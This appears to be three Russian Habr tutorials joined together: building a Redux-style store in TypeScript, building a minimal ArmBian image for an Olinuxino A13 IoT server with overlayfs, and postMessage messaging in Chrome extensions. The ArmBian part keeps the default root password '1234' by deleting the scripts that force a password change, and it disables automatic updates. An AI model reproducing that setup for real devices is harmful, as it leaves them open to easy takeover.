Работая с хранилищем, ему дают указания, например, что-то вроде этого: «Эй, хранилище! У меня есть к тебе просьба. Пожалуйста, обнови дерево состояния, добавив в него эти данные».
Сигнатура действия, при использовании TypeScript для её демонстрации, выглядит так:
```
interface Action {
type: string;
payload?: any;
}
```
`Payload` (полезная нагрузка) — это необязательное свойство, так как иногда мы можем отправлять в хранилище действия, которые не принимают полезной нагрузки, хотя в большинстве случаев это свойство оказывается задействованным. Тут имеется в виду то, что, создавая действие, мы описываем его, например, так:
```
const action: Action = {
type: 'ADD_TODO',
payload: { label: 'Eat pizza,', complete: false },
};
```
Это, по сути, шаблон действия. Но об этом после, а пока — продолжим знакомство с терминологией.
### ▍Редьюсеры
Редьюсер (reducer) — это всего лишь [чистая функция](https://toddmotto.com/pure-versus-impure-functions), которая принимает состояние (state) приложения (внутреннее дерево состояния, которое хранилище передаёт редьюсеру), и, в качестве второго аргумента, отправленное хранилищу действие. То есть, выглядит всё это так:
```
function reducer(state, action) {
//... это было просто
}
```
Итак, что ещё надо знать о редьюсерах? Редьюсер, как мы знаем, принимает состояние, и для того, чтобы сделать что-нибудь полезное (вроде обновления дерева состояния), нам нужно отреагировать на свойство `type` действия (мы только что видели это свойство). Делается это обычно с помощью конструкции `switch`:
```
function reducer(state, action) {
switch (action.type) {
case 'ADD_TODO': {
// Полагаю, тут надо что-то сделать...
}
}
}
```
Каждая ветвь `case` внутри оператора `switch` позволяет реагировать на разные типы действий, которые участвуют в формировании состояния приложения. Например, предположим, что нам надо добавить свойство с каким-то значением в дерево состояния. Для этого мы выполняем некие действия и возвращаем изменённое состояние:
```
function reducer(state = {}, action) {
switch (action.type) {
case 'ADD_TODO': {
return {
...state,
// Мы преобразуем, с помощью оператора расширения, существующий массив todos в новый
// и затем добавляем в конец этого массива новый элемент
todos: [...state.todos, { label: 'Eat pizza,', complete: false }],
};
}
}
return state;
}
```
Обратите внимание на то, что в нижней части кода имеется команда возврата `state`. Делается это для того, чтобы возвратить исходное состояние в том случае, если в редьюсере нет ветви `case`, соответствующей некоему действию. Тут же можно добавить, что в качестве первого аргумента здесь добавлена конструкция `state = {}`. Это — значение параметра по умолчанию. Исходные объекты состояний обычно формируются за пределами редьюсеров, мы ещё об этом поговорим.
Последнее, на что надо обратить внимание — это стремление к иммутабельности. Мы возвращаем совершенно новый объект в каждой ветви `case`, Он представляет собой комбинацию предыдущего состояния и изменений, внесённых в него. Как результат, на выходе оказывается слегка изменённый вариант первоначального дерева состояния. Тут, сначала, применяется команда `…state`, оператор расширения, после чего в текущее состояние добавляются новые свойства.
Следуя концепции чистых функций, мы добиваемся того, что одни и те же входные данные всегда приводят к появлению одних и тех же выходных данных. Редьюсеры — чистые функции, которые обрабатывают динамическое состояние на основе действий. Проще говоря, мы настраиваем их, а всё остальное делается в процессе работы. Они инкапсулируют функции, которые содержат логику, необходимую для обновления дерева состояний, основываясь на тех указаниях (действиях), которые мы им передаём.
Редьюсеры — синхронные функции, внутри них следует избегать асинхронного поведения.
Итак, когда же в дело вступает `action.payload`? В идеале не следует жёстко задавать некие значения в редьюсере, если только это не какие-то простые вещи вроде перевода логического значения из состояния `false` в состояние `true`. Теперь, для того, чтобы завершить тему обработки действий, мы используем свойство `action.payload`, доступное благодаря действию, переданному редьюсеру при его вызове, и получаем необходимые данные:
```
function reducer(state = {}, action) {
switch (action.type) {
case 'ADD_TODO': {
// получить новые данные
const todo = action.payload;
// создать новую структуру данных
const todos = [...state.todos, todo];
// вернуть новое представление состояния
return {
...state,
todos,
};
}
}
return state;
}
```
### ▍Хранилище
Мне постоянно приходится видеть, как состояние (state) путают с хранилищем (store). Хранилище — это контейнер, а состояние просто размещается в этом контейнере.
Хранилище — это объект с API, которое позволяет взаимодействовать с состоянием, модифицировать его, читать его значения, и так далее.
Полагаю, мы практически готовы к тому, чтобы приступить к созданию нашего собственного хранилища, и всё то, о чём мы только что говорили, пока выглядящее разрозненным, встанет на свои места.
Мне хотелось бы отметить, что, по сути, функции хранилища заключаются в реализации структурированного процесса обновления свойств в объекте. Собственно говоря, это и есть Redux.
API хранилища
-------------
Наше учебное хранилище Redux будет обладать всего несколькими общедоступными свойствами и методами. Затем мы будем использовать хранилище так, как показано ниже, передавая ему редьюсеры и исходное состояние для приложения:
```
const store = new Store(reducers, initialState);
```
### ▍Метод Store.dispatch()
Метод
```
dispatch
```
позволит нам отдавать хранилищу указания, сообщая ему о том, что мы намереваемся изменить дерево состояния. Эта операция выполняется посредством редьюсера, о чём мы уже говорили выше.
### ▍Метод Store.subscribe()
Метод `subscribe` позволит организовать передачу в хранилище функций-подписчиков, интересующихся изменениями дерева состояний. Этим функциям, при изменении дерева состояний, передаются соответствующие сведения.
### ▍Свойство Store.value
Свойство `value` будет настроено как [геттер](https://toddmotto.com/typescript-setters-getter), оно возвращает внутреннее дерево состояния (в результате мы сможем получить доступ к свойствам).
Контейнер хранилища
-------------------
Как мы уже знаем, хранилище содержит состояние, а так же позволяет нам отправлять ему действия, которые нужно выполнить над деревом состояния. Оно позволяет и подписываться на обновления. Начнём работу над классом `Store`:
```
export class Store {
constructor() {}
dispatch() {}
subscribe() {}
}
```
Пока всё выглядит вполне нормально, но мы забыли об объекте для состояния, `state`. Добавим его:
```
export class Store {
private state: { [key: string]: any };
constructor() {
this.state = {};
}
get value() {
return this.state;
}
dispatch() {}
subscribe() {}
}
```
Мне нравится писать на TypeScript, тут я тоже пользуюсь его механизмами для того, чтобы указать, что объект `state` будет состоять из строковых ключей, которым могут соответствовать значения любого типа. Это — именно то, что нужно для работы с нашими структурами данных.
Кроме того, тут добавлен метод `get value() {}`, который возвращает объект `state`, когда к нему обращаются как к свойству:
```
console.log(store.value);
```
Итак, теперь создадим экземпляр хранилища:
```
const store = new Store();
```
В данный момент вполне можно вызвать метод `dispatch`:
```
store.dispatch({
type: 'ADD_TODO',
payload: { label: 'Eat pizza', complete: false },
});
```
Однако, такой вызов пока ни к чему не приводит, поэтому займёмся работой над методом `dispatch`, приведём его к такому виду, чтобы ему можно было передать действие:
```
export class Store {
// ...
dispatch(action) {
// Здесь надо обновить дерево состояния!
}
// ...
}
```
Итак, в методе `dispatch` надо обновить дерево состояния. Но сначала зададимся вопросом — а как оно выглядит — это дерево состояния?
### ▍Структура данных для хранения состояния
Для целей этого материала структура данных состояния будет выглядеть так:
```
{
todos: {
data: [],
loaded: false,
loading: false,
}
}
```
Почему? Мы уже знаем, что редьюсеры обновляют дерево состояния. В реальном приложении у нас было бы множество редьюсеров, которые ответственны за обновление некоей части дерева состояния. Эти части нередко называют «слоями» состояния. Каждым таким слоем управляет некий редьюсер.
В данном случае свойство `todo` в дереве состояний, или слой свойств `todo`, будет управляться редьюсером. На данный момент наш редьюсер будет работать со свойствами `data`, `loaded`, и `loading`. Здесь используются свойства `loaded` (загружено) и `loading` (загружается), так как когда выполняется асинхронная операция, наподобие загрузки JSON по HTTP, нам хотелось бы контролировать различные шаги, которые выполняются в рамках этой операции — от инициации запроса до его успешного завершения.
Продолжим работу над методом `dispatch`.
### ▍Обновление дерева состояния
Для того, чтобы следовать шаблону иммутабельного обновления, нам нужно присвоить новое представление состояния свойству `state` в виде совершенно нового объекта. Этот новый объект включает в себя изменения, которые мы хотели сделать в дереве состояния с помощью действия.
В этом примере на время забудем о существовании редьюсеров и просто обновим состояние вручную:
```
export class Store {
// ...
dispatch(action) {
this.state = {
todos: {
data: [...this.state.todos.data, action.payload],
loaded: true,
loading: false,
},
};
}
// ...
}
```
После того, как мы отправим методу `dispatch` действие `'ADD_TODO'`, состояние будет выглядеть так:
```
{
todos: {
data: [{ label: 'Eat pizza', complete: false }],
loaded: false,
loading: false,
}
}
```
Разработка редьюсеров
---------------------
Теперь, когда нам известно, что редьюсер обновляет некий слой состояния, опишем этот слой:
```
export const initialState = {
data: [],
loaded: false,
loading: false,
};
```
### ▍Создание редьюсера
Теперь нужно передать функции-редьюсеру аргумент `state`, значением которого по умолчанию является вышеописанный объект `initialState`. Это позволяет подготовить редьюсер к первой загрузке, когда мы вызываем редьюсер в хранилище для того, чтобы связать все редьюсеры с первоначальным состоянием:
```
export function todosReducer(
state = initialState,
action: { type: string, payload: any }
) {
// не забудьте меня вернуть
return state;
}
```
В данный момент, учитывая то, что мы уже знаем о редьюсерах, можно понять, как расширять код дальше:
```
export function todosReducer(
state = initialState,
action: { type: string, payload: any }
) {
switch (action.type) {
case 'ADD_TODO': {
const todo = action.payload;
const data = [...state.data, todo];
return {
...state,
data,
};
}
}
return state;
}
```
Хорошо, пока всё идёт нормально, но редьюсер должен подключаться к хранилищу для того, чтобы его можно было вызвать, передав ему состояние и действие, которое надо над ним выполнить.
Вернёмся к объекту `Store`:
```
export class Store {
private state: { [key: string]: any };
constructor() {
this.state = {};
}
get value() {
return this.state;
}
dispatch(action) {
this.state = {
todos: {
data: [...this.state.todos.data, action.payload],
loaded: true,
loading: false,
},
};
}
}
```
Нам нужно сделать так, чтобы в хранилище можно было добавлять редьюсеры:
```
export class Store {
private state: { [key: string]: any };
private reducers: { [key: string]: Function };
constructor(reducers = {}, initialState = {}) {
this.reducers = reducers;
this.state = {};
}
}
```
Кроме того, мы предоставляем хранилищу исходное состояние, `initialState`, поэтому мы можем, при желании, передать его, когда мы создаём хранилище.
### ▍Регистрация редьюсера
Для того, чтобы зарегистрировать редьюсер, мы должны помнить о том, что свойство `todos` находится в дереве состояний, и мы должны привязать к нему функцию-редьюсер. Напомню, мы собираемся работать со слоем состояния, который называется `todos`:
```
const reducers = {
todos: todosReducer,
};
const store = new Store(reducers);
```
Тут происходит самое интересное, и обычно непонятное. А именно, здесь свойство `todos` становится результатом операции вызова хранилищем редьюсера `todosReducer`, который как мы знаем, возвращает новое состояние, основываясь на некоем действии.
### ▍Вызов редьюсеров в хранилище
Принцип работы редьюсеров, по своей сути, напоминает работу функции `Array.prototype.reduce`, которая приводит обрабатываемый ей массив к некоему единственному значению. Редьюсеры работают похожим образом, принимая старое состояние, выполняя над ним некие действия, и возвращая состояние новое.
Теперь мы собираемся обернуть логику редьюсера в функцию, которая тут названа `reduce`:
```
export class Store {
// ...
dispatch(action) {
this.state = this.reduce(this.state, action);
}
private reduce(state, action) {
// найти и возвратить новое состояние
return {};
}
}
```
Когда мы передаём в хранилище действие, мы, фактически, вызываем метод `reduce` класса `Store`, который только что создали, и передаём ему состояние и действие. Эта конструкция называется корневым редьюсером. Можно заметить, что он принимает `state` и `action` — так же, как делает и `todosReducer`.
Теперь поговорим о приватном методе `reduce`, так как это — самый важный шаг по построению дерева состояния и по сведению воедино всего, о чём мы тут говорим.
```
export class Store {
private state: { [key: string]: any };
private reducers: { [key: string]: Function };
constructor(reducers = {}, initialState = {}) {
this.reducers = reducers;
this.state = {};
}
dispatch(action) {
this.state = this.reduce(this.state, action);
}
private reduce(state, action) {
const newState = {};
for (const prop in this.reducers) {
newState[prop] = this.reducers[prop](state[prop], action);
}
return newState;
}
}
```
Вот что здесь происходит:
* Мы создаём объект `newState`, который будет содержать новое дерево состояния.
* Мы перебираем объект `this.reducers`, зарегистрированный в хранилище.
* Мы, в редьюсере, переносим свойства из `todos`, в `newState`.
* Мы обращаемся к каждому из редьюсеров, по одному, и вызываем его, передавая слой состояния (через `state[prop]`) и действие
Значение `prop` в данном случае — это просто `todos`, поэтому всё это можно рассматривать так:
```
newState.todos = this.reducers.todos(state.todos, action);
```
### ▍Обработка initialState с помощью редьюсера
Теперь осталось лишь поговорить об объекте `initialState`. Если мы собираемся использовать запись вида `Store(reducers, initialState)` для подготовки исходного состояния всего хранилища, нам нужно обработать его редьюсером в ходе создания хранилища:
```
export class Store {
private state: { [key: string]: any };
private reducers: { [key: string]: Function };
constructor(reducers = {}, initialState = {}) {
this.reducers = reducers;
this.state = this.reduce(initialState, {});
}
// ...
}
```
Помните о том, как мы рассказывали, что в конце кода каждого редьюсера должна быть команда вида `return state`? Теперь вы знаете — почему. У нас это есть для того, чтобы можно было передать в качестве действия пустой объект, `{}`, подразумевая, что при этом ветки оператора `switch` будут пропущены, и в результате у нас окажется дерево состояния, полученное через `constructor`.
Механизмы работы с подписчиками
-------------------------------
Вы часто будете сталкиваться с термином «подписчик» в мире обозреваемых объектов, где каждый раз, когда обозреваемый объект генерирует новое значение, нас уведомляют об этом через подписку. Подписка — это нечто вроде просьбы: «дай мне данные, когда они окажутся доступными или изменятся».
В нашем случае работа с механизмами подписки будет выглядеть так:
```
const store = new Store(reducers);
store.subscribe(state => {
// сделать что-нибудь со`state`
});
```
### ▍Подписчики хранилища
Добавим в хранилище ещё несколько свойств, позволяющих настроить механизм подписки:
```
export class Store {
private subscribers: Function[];
constructor(reducers = {}, initialState = {}) {
this.subscribers = [];
// ...
}
subscribe(fn) {}
// ...
}
```
Здесь имеется метод `subscribe`, который теперь принимает функцию (`fn`) как аргумент. Теперь нам нужно передать каждую такую функцию в массив `subscribers`:
```
export class Store {
// ...
subscribe(fn) {
this.subscribers = [...this.subscribers, fn];
}
// ...
}
```
Это, как видите, было просто. А где же можно сообщить нашим подписчикам о том, что что-то изменилось? Конечно, в методе `dispatch`!
```
export class Store {
// ...
get value() {
return this.state;
}
dispatch(action) {
this.state = this.reduce(this.state, action);
this.subscribers.forEach(fn => fn(this.value));
}
// ...
}
```
И это, опять же, просто. Каждый раз, когда мы вызываем `dispatch`, мы передаём методу `reduce` состояние и обходим подписчиков, передавая им `this.value` (помните о том, что тут срабатывает геттер `value`).
Теперь нам осталось решить лишь одну задачу. Когда мы вызываем `.subscribe()`, мы не хотим (в этот конкретный момент) получать значение `state`. Мы хотим получить его после выполнения метода `dispatch`. Поэтому примем решение информировать новых подписчиков о текущем состоянии как только они подпишутся:
```
export class Store {
// ...
subscribe(fn) {
this.subscribers = [...this.subscribers, fn];
fn(this.value);
}
// ...
}
```
Тут мы берём переданную через метод `subscribe` функцию и, после оформления подписки, вызываем её с передачей ей дерева состояния.
### ▍Отписка от хранилища
Мы можем подписываться на изменения хранилища, но неплохо было бы реализовать и обратный механизм. Отписка может понадобиться, например, для того, чтобы избежать чрезмерного использования памяти, или из-за того, что некие изменения хранилища нас больше не интересуют.
Всё, что тут нужно сделать — это вернуть замыкание, которое, будучи вызванным, удалит функцию из списка подписчиков:
```
export class Store {
// ...
subscribe(fn) {
this.subscribers = [...this.subscribers, fn];
fn(this.value);
return () => {
this.subscribers = this.subscribers.filter(sub => sub !== fn);
};
}
// ...
}
```
Тут мы используем ссылку на функцию, перебираем подписчиков, проверяем, не равен ли текущий подписчик нашему `fn`. Далее, с помощью `Array.prototype.filter`, то, что больше не нужно, удаляется из массива подписчиков. Пользоваться этим можно так:
```
const store = new Store(reducers);
const unsubscribe = store.subscribe(state => {});
destroyButton.on('click', unsubscribe, false);
```
И это всё, что нам нужно.
Красота механизма подписки заключается в том, что у нас может быть множество подписчиков, что означает, что различные части нашего приложения могут быть заинтересованы в различных слоях состояния.
Полный код хранилища
--------------------
Вот полный код того что мы сделали:
```
export class Store {
private subscribers: Function[];
private reducers: { [key: string]: Function };
private state: { [key: string]: any };
constructor(reducers = {}, initialState = {}) {
this.subscribers = [];
this.reducers = reducers;
this.state = this.reduce(initialState, {});
}
get value() {
return this.state;
}
subscribe(fn) {
this.subscribers = [...this.subscribers, fn];
fn(this.value);
return () => {
this.subscribers = this.subscribers.filter(sub => sub !== fn);
};
}
dispatch(action) {
this.state = this.reduce(this.state, action);
this.subscribers.forEach(fn => fn(this.value));
}
private reduce(state, action) {
const newState = {};
for (const prop in this.reducers) {
newState[prop] = this.reducers[prop](state[prop], action);
}
return newState;
}
}
```
Как видите, всё не так уж и сложно.
Итоги
-----
Вполне возможно, что вы слышали обо всех тех механизмах, о которых мы сегодня говорили, или даже использовали их, но не интересовались тем, как они устроены. Надеюсь, создав собственное хранилище, вы поняли, как работает всё то, из чего оно состоит. В работе действий и редьюсеров нет ничего таинственного. Метод `dispatch` сообщает хранилищу о необходимости выполнить процесс определения нового состояния путём вызова каждого редьюсера и попытки сопоставления `action.typ`e с одной из ветвей оператора `switch`. А дерево состояния — это итоговое представление того, что получается после вызова всех редьюсеров.
Я, благодаря примеру, которым поделился с вами, наконец понял Redux. Надеюсь, он поможет в этом и вам.
**Уважаемые читатели!** Как вы осваиваете новые технологии? | https://habr.com/ru/post/345340/ | null | ru | null |
# Простыми словами об ARMBIAN
По сути это процесс сборки Linux с описанием некоторых проблем с которыми можно столкнуться при использовании ARMBIAN. Ну и самое главное, из-за чего это понадобилось, это возможность каскадного монтирования файловой системы. Правда используется не AUFS, а Overlay2 поскольку в последних версиях Linux Kernell он уже встроен и не придется накладывать патч.
1. Скачиваем последнюю версию ArmBian, от версии к версии она может меняться поэтому инструкция на момент 2.09.2022г.
2. Запускаем `/bin/bash compile.sh`
3. Предлагается на выбор 2 варианта сборки:
* U-boot and kernel packages - только загрузчик и ядро, файловую систему потом придутся самому собирать.
* Full OS images for flashing - полноценная ОС, со всеми потрохами.
Нас интересует последний пункт.
4. Тут на выбор уже 3 инструкции:
* **Do not change the kernel configuration** - Не изменять кофиг ядра. Т.е. использовать его как он есть. Это удобно если нужно только пере собрать уже ОС уже с раннее настроенным ядром.
* **Show a kernel configuration menu before compilation** - Открыть настройки ядра перед сборкой.
* **Use precompiled packages from Armbian repository** - Использовать раннее собранную конфигурацию.
До ядра еще не добрались поэтому используем первый пункт, необходимо проверить наличие нашей платы в списке.
5. Появляется длинный список плат с их кратким описанием, в котором к сожалению нету нашей Olinuxino A13.
6. Т.к. Olinuxino A13 отсутствует в списке, ищем конфиг платы по адресу config/board/.. olinux-som-a13.csc и меняем расширение на .conf. После повторяем все со 2 пункта и убеждаемся что плата появилась в списке.
Выбираем плату и идем дальше.
П.с. в 2 пункте будет ругань что конфиг изменен, просто пропускаем нажимая Enter.
7. И так, далее.
В следующем окне предложено выбрать базовую систему:
* bullseye Debian 11 Bullseye - ось на основе дебиана.
* jammy Ubuntu jammy 22.04 LTS - ось на основе убунты.
Мы будем делать серверный вариант, поэтому тут особой разницы что выбирать нету. Весь софт хорошо ставится и там и там. Основное отличие между ними кроме названия в менеджере окон. В Debian это KDE на основе QT, Ubuntu это GNOME на основе GTK.
Мне больше нравиться GTK поэтому и выбираем последний вариант.
8. Следующее окно:
Choose image type.
Нужно выбрать тип собираемого на образа.
* Standard image with console interface - стандартный образ ОС.
* Minimal image with console interface - минимальный образ, содержит минимально необходимый софт. Все остальное можно до установить по необходимости.
Тут выбираем минимальный образ. Это только пробная сборка, в дальнейшем его будем править.
9. На этом этапе, Armbian доустонавливает систему сборки и собирает образ. Короче ждем окончания ...
После пары часов ожидания, если не было серьезных сбоев, папка с ArmBian разрастется с пары сотен магабайт до пары десятков гигабайт. Размеры объясняются docker-ом который используется в ArmBian для сборки, там размещена среда сборки.
Готовый образ будет лежать по адресу ...output/images/ и если ваша плата была в списке и вас устраивает дефолтная конфигурация, то на этом можно и закончить.
Но в моем случае это будет база для кастомного сервера IoT устройств, поэтому и предъявляемые требования к нему следующие:
а) минимум занимаемая оперативная память - уберем весь лишний софт, меня не устраивает даже минимальная конфигурация т.к. даже там много лишнего.
б) отказоустойчивость файловой системы - файловая система не должна умирать при резком отключении питания, поэтому буду использовать каскадно монтируемую ФС. Возьму Overley\_2 поскольку она встроена в ядро в последних версиях kernell.
в) ускорить загрузку - уберем лишние телодвижения при загрузке ОС от ArmBian.
10. Корректировка системы сборки ArmBian.
Сборка ОС в Armbian происходит по запуску команды “debootstrap”, в старых версиях достаточно было поправить устанавливаемые пакеты по адресу:
`lib/configuration.sh`
Там есть несколько переменных где и прописывались пакеты:
`PACKAGE_LIST_ADDITIONAL`
`PACKAGE_LIST`
`PACKAGE_LIST_DESKTOP`
Тут можно было поправить список загружаемых пакетов, в последних версиях эти списки были вынесены в отдельные файлы.
Начнем настраивать по взрослому:
10.1 Настройка файла конфигурации.
По адресу userpatches/config-example.conf найдете файл где можно выставить более широкие настройки нежели дает меню. Подробнее о них можно найти тут <https://docs.armbian.com/Developer-Guide_Build-Options/>, итак опишем самые основные:
* `PROGRESS_LOG_TO_FIL=”yes”` - процесс сборки дублируется в отдельный файл. Полезная штука, всегда можно посмотреть возникшие ошибки или то что было установлено.
* `BOARD = "olinux-som-a13"` - название платы из пункта 6.
* `RELEASE="jammy"` - версия ОС. На текущий момент Ubuntu 22.04.
* `BUILD_MINIMAL="yes"` - собрать минимальный набор пакетов.
* `BUILD_DESKTOP="no"` - не собирать оконный менеджер.
* `AUFS="yes"` - добавить в сборку поддержку каскадно монтируемой файловой системы.
* `KERNEL_ONLY="no"` - сборка только ядра.
* `KERNEL_CONFIGURE="no"` - пропустить конфигурирование ядра.
Если все настроили правильно, то при сборке не будет меню с запросом на конфигурацию. На этом этапе можно попробовать собрать и убедиться что ничего не сломали.
10.2 Конфигурирование пакетов в debootstrap.
По умолчанию даже при сборке минимальной версии, в наличии остается довольно много лишних пакетов. Их можно убрать, отредактировав список в debootstrap (команда через которую собирается файловая система ОС).
Принимать решение о освобождении дополнительного места можно после окончательной сборки. На этот случай придется залезть по адресу ../config/cli/jammy/main/ где (jammy - название дистрибутива) где отредактировав файлы:
* packages
* packages.additional
* а также файлы в папках
Позволит избавится от лишних пакетов в сборке.
Так же есть возможность добавить дополнительные пакеты, для этого по адресу ../userpatches/ нужно создать файл "lib.config" с перечнем необходимых пакетов:
`PACKAGE_LIST_ADDITIONAL="$PACKAGE_LIST_ADDITIONAL mc ffmpeg libsndfile1 libgsm1 libportaudio2 overlayroot alsa-base alsa-tools alsa-utils alsamixergui"`
У меня тут некоторые библиотеки для работы со звуком и библиотека boost, т.к. я планирую разрабатывать на С++.
Если что то поменяли не лишне будет сделать сборку для проверки, что ни чего не сломали.
10.3 Уборка лишнего из загрузки ОС.
Чтоб убрать лишнее, восстанавливаем образ на заранее подготовленную SD карту с которой будем дальше грузиться.
При первом старте идет запрос на замену логина и пароля с дефолтных:
* default login - root
* default pass - 1234
Нам подойдут и эти поэтому чтоб исключить смену авторизации удаляем файлы по адресу:
* `/etc/profile.d/armbian-check-first-login.sh`
* `/etc/profile.d/armbian-check-first-login-reboot.sh`
При каждом старте ArmBian делает обновление, это вредная процедура и мне она лишняя поэтому удаляем все что этого касается:
* `/etc/cron.d/armbian-truncate-logs`
* `/etc/cron.d/armbian-update`
* `/etc/cron.d/sysstat`
* `/etc/update-mot.d/41-armbian-config`
* `/etc/update-mot.d/40-armbian-updates`
* `/etc/cron.daily/apt-compat`
Готовый образ представляет собой законченную файловую систему и плюс 200 Мб. Но во время первой загрузки образ растягивается на все свободное место в памяти. Это не очень удобно, т.к. будем делить память на область readonly и rewritable. Короче удаляем файл что портит жизнь:
`/usr/lib/systemd/system/armbian-resize-filesystem.service`
10.4 Настройка AUFS.
У встраиваемых устройств есть одна существенная проблема, они подвержены периодическим отключением питания. Это плохо сказывается на целостности файловой системы, рано или поздно она падает.
Выход из этой ситуации в использовании “каскадной файловой системы”, в последних версиях ядра есть встроенная поддержка “overlay fs”.
Overlay fs будем разворачивать в оперативное памяти. По умолчанию она забирает половину оперативной памяти под файловую систему и “read only” для места своего старта.
Команда для запуска:
`echo 'overlayroot="tmpfs"' >> /etc/overlayroot.conf`
Команда для выхода:
`overlayroot-chroot`
11. Проверка и запуск.
Запускаем плату с SD карты:
* Подключаемся к SOB “uart 1” по умолчанию скорость 115200 и наблюдаем порядок загрузки.
* Запуск Htop показывает общие параметры системы:
* Запуск “mc” покажет занимаемую память файловой системы:
В этом образе из 1138MIB свободно 176MIB.
* После старта “overlay” в “mc” видно что размер файловой системы сжался до половины оперативной памяти (230MIB):
p.s. Тут конечно не все проблемы с которыми можно столкнуться, а наиболее частые. | https://habr.com/ru/post/702400/ | null | ru | null |
# Нельзя просто так взять и обратиться к фоновой странице
Всё дело — в политике безопасности, аналогичной кроссдоменной. Обращение к страницам других табов или к фоновой странице расширения сознательно ограничено, потому что они считаются страницами других доменов, имеют запреты на прямой доступ к скриптовому окружению, аналогично чужим окнам и фреймам. Механизм сообщений «спасает» как при кроссдоменном доступе между фреймами, как и в доступе к страницам расширений (фоновая, настройки, попап, ...).
В расширении браузера Google Chrome (и Chromium) наиболее важна по функциям — фоновая страница. Она имеет специальный URL вида chrome-extension://ciegcibjokpkcklhgbpnmnikpkmkhbjk/, где длинное имя домена — случайное имя, создаваемое в недрах браузера, которым именуется также каталог расширения где-то в служебной папке ОС. Из контентного скрипта (аналогичного юзерскриптам, исполняемым на странице браузера) можно получить доступ к файлам и картинкам расширения. Но нельзя выполнить много функций, путь к которым лежит через фоновую страницу: устроить хранилище, относящееся к группе реальных доменных имён; хранить настройки расширения, общие для всего расширения. Нужно лишь добраться ~~в Мордор~~ к фоновой странице. Однако, нельзя просто так, по URL, это сделать.
> *Данного описания нет на страницах документации к Хрому. Вернее, оно есть, но для «немного других» методов и объектов, что фактически означает — нет, до тех пор, пока не исправили. Поведение описанных объектов для обмена сообщениями подтверждается несколькими примерами в ответах на StackOverflow. Искать ответы каждый раз по разрозненным примерам — утомительно, поэтому, чтобы покончить c этой неразберихой, пусть уж они будут собранными в одном месте здесь. Перебраны все 4 комбинации прямых и обратных вызовов, чтобы перед глазами всегда были работающие шаблоны их.
>
>
>
> Для проверки и демонстрации нужно скопировать или создать 3 файла (manifest.json, script.js, background.js), создав тестовое расширение в режиме разработчика в Хроме, и смотреть на сообщения в консоли из 2 страниц — окна браузера с внедрённым скриптом script.js и фоновой (смотреть консоль фоновой background.js — нажав на ссылку «Проверить режимы просмотра: \_generated\_background\_page.html» в chrome://extensions/). То же будет работать в каком-нибудь готовом расширении, если 2 фрагмента кодов из статьи расставить по страницам и выполнить.
>
>
>
> На Хабре подобная задача решалась в прикладных целях в [habrahabr.ru/post/159145](http://habrahabr.ru/post/159145/), ноябрь 2012 — те же самые источники знаний, которые молчаливо подправили и использовали. В интернете на русском похожая задача описывалась в [статье](http://comp-sandbox.ru/2012/06/28/obmen-soobshheniyami-mezhdu-veb-stranitse/) от июня 2012. Здесь — описан механизм, который используется для решения таких задач, с учётом того, что он выполняется в скриптах расширения браузера Google Chrome.*
Если к страницам в окнах и фреймах того же домена получаем доступ напрямую (как к окну другого скриптового окружения), то фоновая страница, равно как и другие табы и страницы браузера, выступают как страницы чужих доменов. Мы можем слать им сообщения, реализуя паттерн слабой связанности процедур, и можем передавать в них лишь *объекты, способные к сериализации* — никаких DOM, окружений и других сложных объектов.
К фоновой странице есть, из-за чего стремиться. В ней выполняются такие функции, которые в скрипте или юзерскрипте немыслимы. Там — не только память, общая для всех страниц. Там — реализация многих интерфейсов, описанных на [developer.chrome.com/extensions/api\_index.html](http://developer.chrome.com/extensions/api_index.html), а в будущем ожидается [и того больше](http://developer.chrome.com/extensions/experimental.html). В скудном интерфейсе сообщений есть функции-коллбеки, которые, будучи заданными, выполняются в вызывающей функции, на стороне своего окружения, но с параметром-результатом, который передала другая сторона.
Всё это — немного модифицированный интерфейс среды Javascript *postMessage*, созданный не очень давно в браузерах для решения проблем регламентации кроссдоменного доступа. Обычно он применяется для общения скриптов между окнами и фреймами и остаётся единственным удобным средством общения, если домены страниц — разные. Ранее для решения этой проблемы использовался «костыль» под кодовым именем [«window.name»](http://learn.javascript.ru/ajax-iframe-xdomain), по ключевым словам используемых объектов. Он работает и сейчас, но сложный и, очевидно, медленный, по сравнению с методом postMessage, пришедшим ему на замену. Вспомним, как работает обычный механизм [postMessage](https://developer.mozilla.org/en-US/docs/DOM/window.postMessage), потому что на нём основаны механизмы обмена данными в расширении Хрома.
### Интерфейс postMessage (кроссбраузерно, IE8+)
Страница-инициатор сообщения создаёт пользовательское событие «message» — делает отправку сообщения, причём делает это **не из своего домена**, а из того, к которому желает обратиться. (в IE8 есть ограничение — обращение только к родительскому окну фрейма).
```
otherWindow.postMessage(message, targetOrigin);
//message - строка или другой _сериализуемый_ объект
//targetOrigin - название целевого домена окна otherWindow, для "проверки знания"
```
Если имя домена угадано, сообщение отправится. Для его приёма в окне otherWindow должна быть выполнена пара условий:
1) существовать обработчик события;
2) обработчик «ждёт» сообщение именно с домена-отправителя и проверяет это через второй аргумент.
```
window.addEventListener('message', function(event){ //приём сообщения
if(event.origin !== 'URL_домена-отправителя') //проверка отправителя, например, 'http://example.org'
return;
...//использование event.data, равного message из .postMessage
...//доступно event.source - окно-окружение передающего события, но
// содержимое его недоступно в кроссдоменных обменах
}, false);
```
### Отправляем сообщение из окна в фоновую страницу (Chrome)
В расширениях основу (postMessage) немного переработали, добавив коллбеки и автоматизировав проверки доменов. Стало удобнее, чем если собирать передачу сообщения из кирпичиков. В самом конце приведём код на стандартном postMessage, используя доступные средства, чтобы показать, что магии в следующих описанных *sendMessage* или *sendRequest* нет — это просто оболочка. Но postMessage не смог выполниться из-за недостаточных прав расширения на создание фрейма с особым протоколом «chrome-extension://\*», про который формат манифест-файла тоже ничего не знает~~, и дело утонуло в бюрократических проволочках~~. Вот и ответ на вопрос, почему им пришлось придумать свои функции обмена.
> Приведённые примеры можно увидеть, проверить и исследовать их поведение со **страницы установки расширения Chrome**: [spmbt.kodingen.com/bgMessageXmp/index.htm](http://spmbt.kodingen.com/bgMessageXmp/index.htm). Если расширение не установлено, клики по 5 ссылкам сообщают об отсутствии расширения. После установки (в расширении — всего 3 необходимых файла) клики начинают выполнять примеры, описанные ниже.
>
>
>
